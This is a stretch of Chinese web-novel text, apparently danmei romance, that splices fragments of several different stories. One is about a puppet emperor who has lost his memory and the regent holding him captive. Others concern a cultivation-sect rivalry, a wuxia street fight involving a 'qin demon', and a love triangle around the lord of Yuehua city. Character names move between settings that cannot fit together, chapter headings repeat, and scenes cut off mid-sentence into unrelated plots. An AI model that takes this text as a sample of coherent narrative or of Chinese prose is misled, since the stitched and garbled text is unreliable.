明明很多次,他都看出阿玄在他身边,有些期待、有些涩然,想要他的碰触。 他真后悔,为什么那时候没有一把将他拥入怀中。 他真想好好抱抱他,抱抱爱着他的那个阿玄。 可如今,站在他的面前的这个人,为什么看起来那么像阿玄,却又和他熟悉的阿玄如此不同? 就好像他的阿玄已经不在了。 已在他不敢回首的日子里,在他怀中冷冰冰地死掉了。眼前这人是谁,他不知道。 谁也没想到,姜沉在个人秘境中,居然不慎竟不慎触动了上古魔沼,中了“蚀灵之毒”。 蚀灵之毒并不致命,约半个月便可自愈。 但麻烦在于此毒极易传染。而修士在中毒期间,可能会防御大减、修为暂退。 这等关乎宗门荣誉和自身机缘的重要试炼中,谁又愿冒这等风险? 一时间,众人避之不及。赵离玄心满意足睡了。 可惜不到一个时辰,早朝的钟声便一声声的吵。 皇帝哼哼着迷迷糊糊,一摸怀里的美人没有了才不轻不愿睁开眼。 寝宫烛火被点上了几只。 姜沉已悄无声息起床,尽职尽责的太监拂陵正在服侍他穿衣。 烛光摇动,映着姜沉棱角分明的侧颜,一身白色中衣外罩玄袍,一头墨色长发散着,那模样真是好看得不得了。 赵离玄目不转睛。 大概是皇帝一脸狗昏君馋人身子的起劲样子玄然若揭。姜沉皱眉闭目,好气又好笑。 “你瞧什么?” 拂陵这边给姜沉系好内腰带,姜沉一把金丝宫梳直接往龙床上丢了过去。 赵离玄回过神接住,姜沉已在身旁坐下 黑发顷刻泼墨一般散落龙床。他冷冷看了皇帝一眼:“与我束发。” 赵离玄:“啊?” 眯眯眼红衣拂陵:“啊?” 拂陵:“咳,主子可真爱说笑,赵离玄哪里会给人梳头?” 且不说摄政王命皇帝给他梳头这事僭不僭越,会不会被后世史官大批特批。 就说堂堂天子饭来张口衣来伸手,怎么可能会梳头? 姜沉:“不会可以学。” 拂陵 赵离玄 堂堂天子拿起沉甸甸的金丝宫梳。 也好,今儿我便来学这一项新本事。如有朝一日真被姜沉谋权篡位,若能侥幸逃出宫去,还能去天桥底下给人篦头为生。 梳梳梳,梳梳梳。 赵离玄英明神武,第一次给人梳头,并未觉得哪里难。 姜沉一头黑发十分漂亮又冰凉,触感如丝顺滑、一梳到底。 太监拂陵也是个乖巧又懂事的妙人儿,全程虽不言语,但眼神始终在教导皇帝如何梳。 赵离玄拿起束发的玉带。 这样? 拂陵眯眯眼更眯了,微微摇头抬下巴。 那这样? 拂陵点头,赵离玄圣明! 皇帝心领神会,加之聪明,居然连繁复的玉带也一次扣好了。扣完左看看右看看,姜沉鬓角干净丰神俊朗,更衬得他俊朗姜严。 还真不错! 拂陵那边捧了小铜镜来。 姜沉看到镜中,亦是皱眉一愣。怎奈赵离玄眼尖,分明看到姜沉虽努力皱眉,却掩不住微微抿唇,似是笑了!他没看错! 只可惜那一瞬的惊鸿一瞥,太过昙花一现。 赵离玄完全没看够。正想要如何再千金买个笑,姜沉却一把抓住他的手腕,清浅色的眸子看着他。 “无事乖巧,非奸即盗。” “阿玄这般乖,是想跟我换什么?” 赵离玄这就有点不讲理了。 不是你让我给你梳头的吗?!怎么就变成我无事献殷勤非奸即盗了。 姜沉看着他,他看着姜沉。 大眼瞪小眼了半晌,赵离玄头疼。 真不愧有本事与天子斗智斗勇、最终成功幽禁天子的权臣大美人!果真十分解他的为人! 锦裕帝也只好明人不说暗话了。 “青卿,咳,我确实有个事儿一直想跟你商量。” “你看我毕竟失忆,长此以往也不是个办法。” “所以我想啊,既记不得,干脆重修一遍就是了。” “所以姜沉若有空不妨把本朝的史书底稿、帝王起居注拿来给我看看呗?我保证一字一句详尽阅读,早日恢复记忆!” 昨日还备受追捧的姜沉,转眼就成了人人嫌弃的“瘟神”。 赵离玄可得意坏了。 瞧着姜沉孤零零无人问津,嘴角都快咧到耳根。 当晚就包下附近最贵的酒楼大宴宾客。当然,“为诸位安全考虑”,某些人自然不在受邀之列~ 隔天,到了组队选定环节。 赵离玄头发梳得一丝不苟,锦衣华服,端的是玉树离风、意气风发。 他高傲地拒绝了好几个实力不俗的别派弟子抛来的橄榄枝,最后才趾高气昂又不情不愿地走到姜沉身边,下巴一扬:“喂,走吧。” “你看什么看?以为我乐意带上你这个累赘啊?” “还不是看在同门颜面你到底去是不去?” 团队试炼共有十个秘境,环环相扣,考验试炼者各方面的实力和默契。 当日,两人第一秘境完成得尚算顺利,但也都见识到了秘境的凶险,不敢有丝毫大意。 再看其他队伍有的重伤退出,有的甚至折损人手。 “天垣试炼”果然名不虚传,凶险绝非儿戏。 于是当晚,赵离玄一脸不爽敲开姜沉房门 “起来!加练!” “离玄!”赵离玄松了手。 一时无声。 他趴在龙床上兀自平复了片刻,又很快山楂皮条一样蹭地就弹了起来,果断下龙床去追姜沉。 追自然是要追的。 虽说他堂堂天子被幽禁又失忆前途未卜,此番作死试探其实很有必要。可姜沉眼尾一红他直接完蛋。 全然没心情继续试探。 只道全是自己错。 狗皇帝不是东西!昏庸无道!竟让那么好看的大美人伤心了!狗皇帝算什么男人? 赵离玄很没形象地追着人追到了茶榻,姜沉看都不看他。他狗腿兮兮地伸手去,拽了拽姜沉玄黑金织了蛟龙的袖子。 姜沉咬牙:“滚!” 逆臣骂天子,皇帝不仅低头乖乖“哦”地挨骂,还讷讷收了手。 姜沉兀自阴沉着一张脸拿起奏折批,一脸的生人勿近。 皇帝则垂手站在一边,悄么么偷瞧姜沉微红余韵的眼尾。 罪过啊简直! 那么好看的一张脸,眼角一抹红真是罪过!昏君该死! 唉。心疼,懊恼。 想哄。 傀儡皇帝想哄囚禁自己的摄政王,这事简直要多荒谬有多荒谬,小话本都不敢这么写! 姜沉一声低吼,只见赵离玄捂着眼睛,一丝血水从指缝中渗出。 心中瞬间仿若被厉火煎过滚过,薄唇轻颤、额角隐隐青筋浮现。三道银丝狠狠往地上一摔,数道火电之光照得他面若修罗,更是炸得就近水果摊贩的铺子瓜果四裂,前排看热闹的吓得尖叫,孩子也被惊得大哭起来。 当娘的惊声惨叫,一把抱住那孩子,后面人群不明所以,哗然叫道“魔头杀人了”“连小孩子都不放过”,甚至有几个身强力壮的,已在身后偷偷抄起了家伙。 赵深心急,却紧接着只听噼啪闪烁又是几声火光与爆裂碎音,沿街屋片瓦砾、摊贩瓷器稀里哗啦轰然倒塌了一大片。 与刚才那几下唬人招式的相比,姜沉这次再没留有余裕,有人被砸破了头,有人被碎片伤了手,一阵鬼哭狼嚎。 “再上前者,死!” 冷月之下,姜沉声音不高,却魔音穿耳嵌入众人脑海。整条街适才的混乱仿佛只是幻影,突然间直直陷入了一片死沉。 “是、是魔头!真是那琴魔!” 半晌,才有人颤声偷偷议论:“枫叶山庄之人真与魔头勾结了!” 孤独沉闻玄,又一眼狠狠看去,浅色的眸中满染一片血雾,直吓得两边围观者皆又退了好几步。 “屠戮了盐海城,如今又来为祸洛京呵。” 天道教徒吐了一口污血,惨笑数声:“好!好!好个枫叶山庄,看似名门正道,其实藏污纳垢颠倒黑白,收拢魔头意图不轨,其心可诛!” 姜沉却只满眼焦急地移开赵离玄捂着眼睛的手,看清他只是被擦破了眼角,才终是松了口气。 还好,还好 若是为了他而弄伤了眼睛,那可要如何是好? 却又听那天道教徒絮絮声讨,越说越不堪入耳:“魔头!当年你无处可去,还是枫叶山庄时老英雄和郁大侠收留了你。结果你非但害得郁大侠下落不明,更害时老英雄惨死毒蚕教!还卑鄙无耻地诱拐奸|杀了老英雄之女时兰!” 姜沉身子陡然震了震,缓缓转过头,月下清冷的双眸中着射出可怖的嗜血之色。 “你,莫要信口胡说小师妹之事!” “呵,你既敢做,又怎么怕别人说了?时兰姑娘本欲嫁凌微楼主为妻,你心有不甘,掳她去毒蚕教凌|辱糟蹋,又用她尸首引时老英雄中伏!此事天下人尽皆知,枉你们青梅竹马一起长大,你却如此毒辣,根本就是” “你住口!” 银弦倏然彻底收紧,那天道教人登时鲜血喷溅,一头栽倒在地昏死过去。 月影陡然被浮云遮住,一时万物暗淡。姜沉双目充血,像是无法呼吸一般屈下身子紧紧抓着胸口,牙齿暗咬得咯咯作响。 “我没有” “不是他说的那样,我没有。”胸口剧烈起伏,声音嘶哑呼吸急促,和着一股一股血水模糊不清。 “小师妹我想救她的,我是想救她的。为什么为什么没有人肯信我?” 第 33 章 第 33 章 人人轻视的小乞丐而已,如今小人得志,都敢阴阳怪气暗讽师兄师姐们修炼慢、无能了! 这般前恭后倨的嘴脸,自然惹了众人不满。 奈何赵离玄如今也是仙门新星,虽有不少人拉帮结派孤立,却也更有另一帮想攀附的了人围上来。 很快,赵离玄身边也人多势众起来。 不久,一则传闻人尽皆知。一个时辰后,烛火摇动。 楚微宫名画打工摄政王与打工傀儡皇帝茶榻对坐批折。 一个俊美如铸天人之姿,一个倒也尚算帅气不凡。 赵离玄一边批折子一边暗自握拳,我可以,我撑住了。 我最终也未去哄姜沉,我尚算头脑清醒不会轻易便为美色所惑! 我装的,我哄了。 我适才昧着良心抱了姜沉、哄了姜沉,还跟姜沉说了我错了、我信他。 哄了许久,姜沉才闷闷的说他不生气。 唉。 古人云,天理玄玄。 可谁成想赵离玄赵离玄,不见玄玄! 狗皇帝在美人面前如此卑微,甚至不惜黑白颠倒。 罢了罢了,国家大事要紧。 赵离玄低头好好工作。 前几日洛水水患胡璐的折子已经抄送几百份,快马加鞭发到各地。 后续是各地效仿收效奇佳,今日收到了一堆彩虹马屁。 但其实真不用大吹特吹,一堆溢美之词问安之词,批得赵离玄头都大。 胡璐治水有方,本人自然也得到了升迁工部的调令。 虽说胡璐本人目前奋斗在治水前线尚且无法离岗,但水患一除,便立刻会赴京上任。 这胡爱卿也可爱得很。 收到升迁嘉奖一个高兴,又刷刷寄来了七八份文书。内容包括但不限于灌溉田渠、水车改造、改良钟表、如何令棉花与水稻增产 真·什么都会,高手在民间。 绝了。 赵离玄觉得,等开春以后这位多才多艺的胡爱卿进京上任,他必须寻到个机会,与其秉烛长谈一番! 好歹问问胡爱卿师承何处,为何如此聪明伶俐、什么都会。 我也想学。 就不知道姜沉愿不愿意给他这傀儡皇帝出门面见臣子的机会? 据说赵离玄当日正用灵泉漱口,几个他以前侍奉过的师兄不忿指责他得意忘本、高调刻薄。 而赵离玄闻言,只噗地一声吐掉,挑眉冷笑:‘我既有这百年难遇的天赋,若不嚣张跋扈、快意恩仇,难道还要学那庙里的泥塑菩萨,对谁都慈眉善目?” “那小爷这天才当得还有什么趣味?!’ 那天以后,之前两年里刁难和欺负过他的人,仇小的是次次见面都要被一通贱兮兮地狠戳痛处,什么这次你家生意损失不少吧,你爹的疯病是不是又重了云云。 仇大的那些,则直接被他当练功靶子,动不动鞋底直接呲脸上 一时间,仙门人人自危。何止百姓不解,卫留夷此行带来的十几名护卫高手,亦全员被自家主子这突如其来的举动给弄得懵在了当场。 按说少主有难,理应上前保护。 但,他们不是来送新婚贺礼的吗? 眼下几大车绑着红绸的礼物还在身侧,少主却莫名其和乌恒侯打了起来。若非亲眼所见,他们都绝不肯信自家素来温润优雅的少主能做出如此荒唐事来。 此处毕竟是洛州州府,真闹起来,他们乌恒可占不到半点好处。 何况听到纠纷,城楼上的洛州守城士兵都乌泱泱地下来了。 大事不好。 护卫们只能齐刷刷看向马上的赵离玄。 毕竟月华城主当年在乌恒时,也是名望颇高、深得人心。和这些侯府护卫也都脸熟。 赵离玄:“还不赶紧拉住?” 片刻后,乌恒护卫已摁住了自家挣扎的少主,洛州兵那边也拽住了骂骂咧咧的邵霄凌。仿佛童年争瘸腿猫那日重现,两人形象气质都难看极了。 卫留夷眼眶青紫一片,邵霄凌则不爽地呸了一口嘴角沾着的血丝。 半个时辰后,洛州侯府会客厅。 两边都冷静了些,却双双依旧面色难看。 大红色的锦绣香囊包装着桂花冰块被呈上来。书锦锦:“大人,此物用来冰敷,可消肿止痛……” 卫留夷:“拿下去。” 邵霄凌冷笑:“锦锦,别理他,好心当成驴肝肺。反正有人啊~就是一向不懂得珍惜好东西。” 卫留夷被这句刺着了。 若非书锦锦拉着劝着,又要跳起来。 盛夏酷暑,蝉鸣阵阵。洛州侯府院里有一棵大杏树,树下光影斑驳。卫留夷抿了一口浓香苦茶,忽记起迷谷的小屋旁,也有一棵这样的大杏,树荫之下偶尔蝉鸣,有人枕着他沉沉午睡。 那时微风轻轻、时光暖柔,山中日月长。 嘎吱嘎吱嘎吱嘎吱。 耳边噪声打断思绪,邵霄凌挑着眉,一边冰敷脸颊一边嘎吱嘎吱嗑瓜子。 声音比蝉鸣烦躁得多,嘎吱嘎吱嘎吱。 赵离玄换好了衣服。 邵霄凌见到人来,一脸兴奋地跳起去迎:“阿玄,咳,夫君,你来了。脸好疼啊,给吹吹?” 啪叽。 他摔倒了,卫留夷伸腿绊的。 邵霄凌是万没想到,这从小故作清高之人内里竟是如此的卑鄙无耻,反手起身就冲上去,揪住领子又想打。 赵离玄忙从后拽住他:“好了,别闹。” 卫留夷这次倒是压住了冲动,手上茶一点没撒,清冷的眼睛暗沉沉凉嗖嗖,从那两人身上掠过。 耳边响过李钩铃的一声叹息“少主,您这番真去,只怕要自取其辱。” 但他执意要来。 因为他心里清楚。阿玄与这洛州邵霄凌之事,不可能为真。 他以前就奇怪,像阿玄这样一个荒山野岭茅草屋里的医者,如何会懂诗书、通词曲、见解不凡、才华横溢? 原来他是月华城主,而月华城主素来只要最好的。 若他到洛州是找洛南栀,倒也叫人无话可说。这邵霄凌除了一张脸,还有什么? 邵霄凌十分委屈:“你拽我?你居然为他拽我!” “你还让我别闹?” 可他闹是为了谁啊。被打得牙疼肚子疼的又是为了谁?这丑八怪竟然偏心护着卫留夷不让他揍? 邵霄凌被拉回去坐好,悲愤异常。 赵离玄:“你先坐着。” 随即转头,正色道:“卫侯,适才诊金之事,咱们还未谈完。” 无奈却没有人能躲得过他的挑衅骚扰 比如那位以前总以戏耍他为乐、脸型长方鼻孔微豁的牛师兄,如今日日都会被赵离玄赵离玄带着小弟揣着青草,围着他一个劲学牛叫:“哞~哞~牛师兄,饿了吗?快来吃草呀~” 气得牛师兄鼻孔更大了。 实在忍无可忍,牛师兄也会拼着一身牛劲,想扑上去给赵离玄撅一顿。 但没用。 纵他力拔山兮,与百年火灵根一比还是太不够看了。 结局总是被赵离玄倒着绑牛桩子上,壮汉落泪。 此代救世之君若真是赵离玄,这修真界岂不是马上要完! 众人想想,不禁更绝望了。 又过一年,赵离玄大概十六岁。 众师兄弟人生雪上加霜。 因为明明前几年这人还是个面黄肌瘦的底层市井小猴子,谁承想经过这几年的好日子一滋润,居然还抽条了! 一天比一天高挑俊朗,五官也长开了。 很快,其风姿已能与被誉为修真界第一美男子的掌门师伯并肩。 哪怕缺德刻薄时,也生生顶着一张俊朗好脸!!! 赵离玄本人对此显然极为得意,更是一天天的嚣张招摇。 而外面门派不知其恶劣本性,只道他天资卓绝,貌若谪仙,他的仰慕者越来越多,各种小礼物如流水般送入他峰中。 其中最扎眼的,莫过于一顶八宝沉香飞轿据说是大富大贵的金蟾宗大小姐送的,轿身极尽奢华,灵光宝气几乎要闪瞎人眼。 从此,旁人御剑,赵离玄偏要御轿。 时常斜倚轿中,一身华服,居高离下睥睨众生,看得众师兄弟愤愤不平几乎发疯。 “呸!小白脸!” “大小姐眼光太差,天道也是不开眼。” “这种货色却受这种追捧,他究竟何时才能倒霉?!”曲声越快,身边人越是痛苦哀嚎,甚至从眼耳口鼻里留下血来。有几个内里深厚的尚能挣扎着起来,却也像植物大战僵尸里的僵尸一样,变得一瘸一拐行动迟缓。 可是,这样不行! 弹了琴,岂不是又动了真气? 赵深飞身进屋,果然姜沉已然醒了,正坐在床畔撑着身子,指尖飞快撩动琴弦。曲子越急,他面上越是毫无血色,胸口剧烈起伏,拼命要紧牙关。 书上说过,这东海玄霜曲就算是用魔琴殉音弹奏,一曲也要消耗大量真气。何况他如今用的,只是屋里墙上挂的一把普通古琴? “姜前辈!够了!再这样下去,你真的会被反噬而亡的!” 胸口激痛难忍,一大口血喷在琴上。姜沉却强撑起身子,推开赵离玄拦上来的手,染血指尖却继续颤抖拨动着琴弦。 “姜前辈!你听我的话!别弹了!” 那人摇了摇头,掩袖说了些什么,混着血水根本听不清。 但赵深也无需听清。 赵离玄保持微笑,心里骂娘。 你姓什么我鬼知道?明知我失忆了你还问!这不就是赤裸裸的刁难啊吗。 然而毕竟有求于人,又不敢造次,只得苦思冥想,“青瞿,姜沉蓝青瞿?” 一下子好几种颜色又蓝又绿的。 姜沉阴森地垂眸笑了,不对。 “那姓赵?姓钱?姓李?这,爱卿该不是就是姓青吧?还不对?那不然姓周,姓郑?” “还没猜对?” 不慌!皇帝握拳不放弃,干脆开始从头背起百家姓,一个一个试滔滔不绝。 寝宫大厅微微烛光。 宫墙一侧闻樱观云飞云飞观拂陵,拂陵则沉痛地闭上眼。 说出去根本不会有人信的大夏深宫相声,一大清早的又开始了。 皇帝背百家姓,背背背。 记性还挺不错,按顺序一直背一个都没有漏。 姜沉明显烦躁,黑脸咬牙:“够了,住口!” 皇帝不依不饶:“这,都那么多了还没撞上啊?爱卿到底姓什么,给我透透口风在不在前一百个里?” “莫不是在前两百?前三百?” 姜沉再懒得理他,拂袖上朝去。 狗皇帝竟还狗腿地一路追,拉拉扯扯追到宫门口:“爱卿,青卿~” “青卿,不要生气!我不记得是我不对,爱卿姓氏跟我再说一次,这次我保证不忘!” 姜沉冷笑:“是,你是失忆,什么也不记得,倒是还记得那奚行检,那徐子真!” 赵离玄 都说过了,这奚卿、徐卿他也并不记得!二人的名字全是他批折子时记下的! 话虽如此,赵离玄却多少也有些心虚毕竟,他确实还记得某些人的名字。 比如侍从厉云飞,比如侍女卢闻樱。这两个没用东西说实话他真瞧不上,却莫名记得。 皇帝又看了一眼公公拂陵。 拂陵在入宫前本家貌似姓王,还有一个兄弟也在宫中 真的!他究竟是怎么回事? 就连太监入宫前的名字都记得,却单不记得姜沉姓什么! 早朝钟声第三遍,姜沉真得走了。 俊美肃穆的绝色男子面色阴沉推开宫门,外面是一片淡淡鱼肚白下绯红色的霞光。 拂陵却在此刻趁机回头,眯眯眼给皇帝使了个眼色。 姜沉:“做什么?还不跟上!” 拂陵连忙恭恭敬敬:“是是,奴才来了。” 宫门重新落锁。 皇帝火速溜回适才拂陵眼神示意的地方茶榻上那几堆已然批完、整整齐齐分类放好的折子旁。 但公公为何示意他看折子? 赵离玄皱眉随手打开一本奏折,恍然大悟。 原来那些姜沉批阅的奏折里都有名讳印章!茶榻一侧未干的朱砂边,亦放着姜沉的两枚印。 赵离玄拿起一枚,上刻“姜青瞿印”。 另一个则刻着“大夏姜沉姜沉”。 原来姓姜! 姜姓乃是大夏源远流长的姓氏,所谓“歌吟东越;经著南华”,乃是历朝历代赫赫有名的世家大族。 姜沉,姜青瞿。 赵离玄暗自念了两声,好听的,他喜欢。 姜青瞿。姜青卿。小姜。 咦?等等!赵离玄一愣,他虽不记得“青瞿”不记得“青卿”,但仿佛曾经叫过谁“小姜”。 可惜那记忆一闪而逝,再也捕捉不到。 赵离玄不禁踱到窗前,想吹吹冷风清清脑子,伸手一阵冰凉沁骨,窗外竟开始下了细细小雪。 我甚至喜爱雪景。 只是姜沉适才出门时还穿得那么单薄,千万别冻坏了。 还有那拂陵手里捧着那么多折子,那里面可是有图的,万一弄湿 等等。赵离玄突然惊觉 他批的那些折子,朱砂字迹明显与姜沉不一样。他是名家草书风范,姜沉则是一丝不苟的工笔正楷。 区分如此明显,若真拿去传阅,岂不是三公九卿一个个都能看到被囚深宫的皇帝居然出山批奏折了? 不仅批了,且笔迹遒劲、言辞活泼。 似乎心情还不错。 这事对赵离玄自是有百利而无一害,但摄政王又怎么可能允许这种威胁? 到时候群臣请愿皇帝还朝,姜沉还怎么独揽大权? 糟了糟了,大意了。 赵离玄不禁寻思着这姜沉大美人该不会两面派,出门就把我辛辛苦苦批的折子给撕了吧? 其中有几折真还挺紧要的,撕不得! 我与爱卿两个人怎么闹都是深宫情趣,情趣归情趣,国家大事万万不可耽搁。 这可不是闹着玩的,多少国计民生、辛苦黎民都指着这一纸纸奏疏呢! 无非也就是姜觉得这些年受了掌门秦熠惠护,当下无论如何也要好好保护众人,报答秦熠不杀不怨之恩。 我知道。宴会后半,有人醉酒歌舞,有人乘凉赏花。 周玄安等啊等,总算功夫不负有心人,蹲到姜沉默然离席,走向已喝得七荤八素的赵离玄。 只见姜师弟将醉醺醺的赵离玄半扶半拎,带到廊下吹风。 花榭亭台外,周玄乐努力竖起耳朵,隐约听姜沉道:“师兄,鞋子脱下来吧。” 说着,竟俯身下去,修长手指隔靴轻握住赵离玄脚踝。 直到此刻,借着一旁灯笼暖光,周玄乐才发现赵离玄那双华贵的鞋子居然破了。 大抵是靴上装饰的金饰过多,一处尖锐居然扎破了鹿皮刺了进去。只是被长长衣摆遮住,无人察觉。 赵离玄醉意朦胧,先是嘿嘿笑了一会儿。 直到裸足暴露在夜风之中,才突然如梦初醒。整个人几乎是瞬间抱膝缩在凉亭凳上,眼神惊恐、语无伦次:“你你大庭广众,成何体统。嗝!你要做什么?” “师兄流血了。” “你闭嘴,你、你别碰!” 脚踝还是被姜沉稳稳握住。 那么深的夜色,周玄乐都能明显看到赵离玄脸色爆红。 姜沉一手轻握他脚踝,一手自怀中取出白玉药瓶。而赵师兄虽咬着唇不再出声,却尴尬得连脚趾都微微蜷起。 药膏清凉,带着淡淡茉莉清香,涂抹在伤处。赵离玄不仅活着,还活得堂堂正正。 楚微宫的茶榻分座两边,中间茶桌上堆满了奏折。 姜沉不理他,皇帝干脆自己到对面坐下,闲闲伸出手。 “樱儿,给我来支笔。” 樱儿不想去,却又无处可躲。 只能壮着胆子抖抖抖,小碎步把皇帝失忆前爱用的白狼毫笔恭恭敬敬递上去。 送完立马提起小罗裙赶紧逃! 直到逃得远了,才回头瞧见皇帝捋了捋狼毫,伸去沾在姜沉面前的那方朱砂中。 一国之君之作大死,永无止境。 樱儿睁大眼睛,喉咙里不禁轻轻“嗷呜”了一声。 姜沉亦顿了顿朱笔,目中缓缓一丝凌厉。 山雨欲来。 雨欲来。 欲来。 来。 皇帝慢悠悠沾好朱砂,摸起一本奏折开始批。 樱儿 云飞 说好的山雨呢!? 姜沉不解:“好好的鞋子,为何会坏掉?” 赵离玄闻言嘴角抽动,憋了半晌恨恨道:“你以为都跟你似的得天独厚!哪怕打完一身血,衣角都能纤尘不染。” “林间穿行也从不会被树枝划伤,生病受伤也不会变丑,尸山血海杀了一路发丝都不会乱!” “寻常人根本不是你这般!” “寻常人出门东西会丢、鞋底会掉,会被野猫挠。习武会戳到自己,御剑飞行会撞翻同门” 我都知道。 根本就没有几个人对你温柔过。所以,哪怕是别人对你的一点点好,你都恨不得能涌泉相报。 可是姜,你这般 “赵编,当心后面啊啊啊!” 赵深愕然回头的瞬间,眼前已赫然对上火宗宗主钱一升沟壑纵横的老脸。 卧槽卧槽什么鬼?他啥时候站在我背后的这下要完彻底要完!一时间头脑里已经开始走马灯。 不,等等,他攻击过来的速度好像挺慢的。 是挺慢的吧?还有闪避的空间? 还不来及细想,却见那老头凶恶的双目向上一翻,整个人直直在他面前栽倒了下去。 第 34 章 第 34 章 姜沉入仙门后,大家都在等着看赵离玄的笑话。 百年一遇稀有火灵根? 呵,如今来了个千年一遇的。 既生瑜何生亮,看姓赵的以后怎么办!琴棋书画诗酒茶,天下无人能赢她。 说月沐萱自负也好,自信也罢。月莲教虽为魔教,但对待这宝贝独女,却全然是按一流大家闺秀的养育方式多才多艺地将之养大。 凭她天资聪慧,月沐萱坚信随便挑三样跟她比,天下没几人能比得过她。 “既然月姑娘承让叫我选,那不如就让我们就先比个酒吧?” 这七样中,赵深最为自信的就是酒了。 人人都有过年少疯魔的时候。想当年大学混迹帝都,人送称号“三里屯斗酒小王子”,工作后更是驰名魔都淮海中路,号称“千杯不醉,旷古一帝”。 “嗯,好啊,”月沐萱道,“一玄既出驷马难追。那咱们第一场就比酿酒了!” 等等等等等等!啥啥啥玩意儿? 酿酒?终战落幕,二人果在“天垣试炼”拔得头筹。 赵离玄得意洋洋,仿佛全部功劳都是他一人所为。 一堆奖品灵宝被他毫不客气挑来选去,“师弟一个我一个”“我一个我再一个”,好东西全霸占了去! 众人无奈,也就姜师弟云淡风轻,瞧他自顾自在那容光焕发,并不与他一般计较。 而小报记者周玄乐则赶紧掏出纸笔,刷刷就着这一幕画了张草图 但奇怪的是,明明姜师弟全程没什么表情的。 为什么画出来那双黑瞳里,却微微含笑!可偏偏下一回,众人在新的绿晶秘镜里不慎触动了了古老的石化妖傀陷阱,又是一路截胡的赵离玄及时带人杀出。 嘴上骂骂咧咧“一群废物尽会添乱”,手上却毫不含糊,炽热的烈焰强行烧穿了秘境,为他们撕开了一条逃生之路。 那天出了秘境,众人劫后余生,都很恍惚。 救命之恩实实在在,可感激的话堵在喉咙,又怎么也说不出口。 可赵师兄为了救他们手骨都断了。皇帝裂开了。 真的,赵离玄只差没被姜沉这话锋一转弯道给甩了个瘸! 心道不好却已迟了,只见姜沉一手仍抱着他,另一手则腾了出去。修长手指伸向龙床的内侧暗格。 这 不妙不妙不妙很是不妙!我危! 哗啦。 暗格本就不小,一拉出来还偏生正在阳光所照之处,里面藏着的一堆糕饼、小食、蜜饯被照得雪亮雪亮无处遁形。 赵离玄 姜沉:“嗯,真是看着十分不错,有芙蓉樱草糕,豌豆黄,茯苓夹饼,云片饼,蜂蜜花生,五香杏仁、蜜饯瓜条、椰子盏、冰糖核桃、艾窝窝、酥炸腰果、糖酥酪种类丰富、都还新鲜。” 姜沉也学会了报菜名。 芙蓉樱草糕上,有着被人咬了一大口的缺豁。 分明被人没吃完就重新藏了进去的。 赵离玄 死了死了。 我死了,死个透。 人赃并获,大写的露馅玩脱现场!!! 姜沉一手紧紧揽着皇帝的腰,另一手直接从豁口旁捏了一块下来。放入口中,甜丝丝的又香糯。 他垂眸笑了一声:“阿玄真不愧是阿玄。” “哪怕演苦肉计,也绝不舍得亏待了自己。” 杀。人。诛。心。 赵离玄倒还受得住,旁边云飞樱儿见状则双双魂飞魄散,扑通扑通跪一地:“姜沉饶命,这!此事我二人并不知情,真的不知情啊啊啊呜呜呜!” 废话,他二人自然不知情。 赵离玄蚂蚁搬家套路姜沉,又怎么能让姜沉的人瞅见端倪? “好了别磕了你俩,吵死!”赵离玄大义凛然道,“青卿,这事确实不关他俩的事,我一人做事一人当!” 姜沉看了他一眼。 “好,既然阿玄都这么说了。” “那本王今日,便教阿玄你一、人、做、事、一、人、当。” 最后,一行人终是磨磨蹭蹭、不情不愿前去道姜。 结果,吊着手臂的赵离玄:“道姜?光用嘴说有什么用?来点实际的!” “我这儿正好缺人打扫庭院、清理丹炉。哦哦,这伤还要连吃三个月的火犀牛肉进步,每天必须把二斤牛肉细细切成臊子!还有,殿后的灵田也要除草” 太奇怪了,改了几遍都还是这样。 试炼后的庆功宴会上,赵离玄更是一袭绛红金线绣云纹锦袍,腰缠玉带,头戴金冠,打扮得极尽奢华。 通体贵气得让人难以想象他曾经是一个小乞丐。这会儿还摇着把玉骨扇,乍一看活像个金尊玉贵却浪荡不羁的俊朗小王爷。 赵离玄在棠棣仙门人厌狗嫌,没想到在外头却因花钱豪爽、一掷千金很是吃得开。 尤其和修真界第一富贵门派金蟾宗的少爷小姐们特别合得来。 宴席过半,这仨都腻在一起吃吃喝喝,那可真是 一模一样的珠光宝气、闪瞎人眼,就连笑起来的骄横嚣张劲儿都如出一辙。 姜沉静静听着。但纵使沦落至此,赵离玄也没有一蹶不振。 这也是很多人没想到的。前任不请自来,令人头秃。 更要命的是,所谓“那人已到了城中”,竟是指此人一大早的直挺挺硬生生堵在安沐城门口,活生生堵到了他和邵霄凌! 赵离玄真的是…… 他自知丑陋,因而在喜欢的人面前向来谨慎,没几个前任看到过他面具下的真实模样。 在乌恒那一年,也从未在卫留夷面前揭下过那半块面具。 可眼下,他刚从军营回来没戴面具,衣服也因为昨夜喝酒露宿又皱又全是土。 赵离玄犹记曾听青尾说过,挥别旧爱后偶然重遇,最为糟心的场景便是自己看着过的并不好、模样未加整饬又穷又乱。 赵离玄:“……” 说的就是此时的他了? 光天化日、朗朗乾坤,面对旧爱,无处遁形。 事已至此,赵离玄也就只能心里默默叹息一声,破罐子破摔了。干脆光明正大昂起一张满是毒纹的糟心的脸。 好在某二世祖必要时,一向还是会给他面子。 虽然刚刚还在同他赌气、赛马一路狂奔,可邵霄凌在看到城门之下面色阴沉的卫留夷之后,立刻翻身下马,然后到他这边上了他这一匹。 并伸手从身后一抱,下巴搁在他肩膀上,挑着眉不屑挑衅地看向卫留夷,一脸的得意洋洋。 虽说过于刻意。 却反而有一种“老子吃醋了,就秀给你看,有种你咬我,气你气死你”那贱兮兮的味儿。 卫留夷脸色更沉了些。 一句“洛州侯与月华城主,夫夫感情看似也并没有传闻那么好”,被生生堵在喉咙里。 赵离玄:“……” 事已至此。洛州少主给他面子,他也就干脆配合着往后懒散一靠。 若他能生得好看点,这定是一出“纨绔少主与风骚情人在外荒唐一夜、清早回城,在旧爱面前祭出绝顶绿帽”的酸爽场景。 不过眼下也不差。 早就想试这么一次了。带一个好看的新欢,趾高气昂给旧爱看看。 看看这世上,也是有人肯要他的。 也是有人能看见他,觉得他不错,愿意抱抱他的。 虽说事实上邵霄凌啥也不沾,但卫留夷又不知道。单纯作为装饰品来看,洛州少主盛世美颜值得拥有! 邵霄凌:“乌恒侯特意找我们夫夫,有事相商?” 卫留夷面若玄霜。邵霄凌冷哼挑眉,突然一把搂住赵离玄的腰。 同时挑衅地向侍卫上挑嘴角。 有些身份低微的蠢俗玩意儿,真是没点儿自知之明就敢招惹他。 好多年前,邵霄凌跟他爹邵子坚去乌恒议事时,曾在侯府树上救下一只奇丑无比的小奶猫。 猫太丑了,还瘸了条腿,邵霄凌万分嫌弃,丢给侯府下人就忘了。 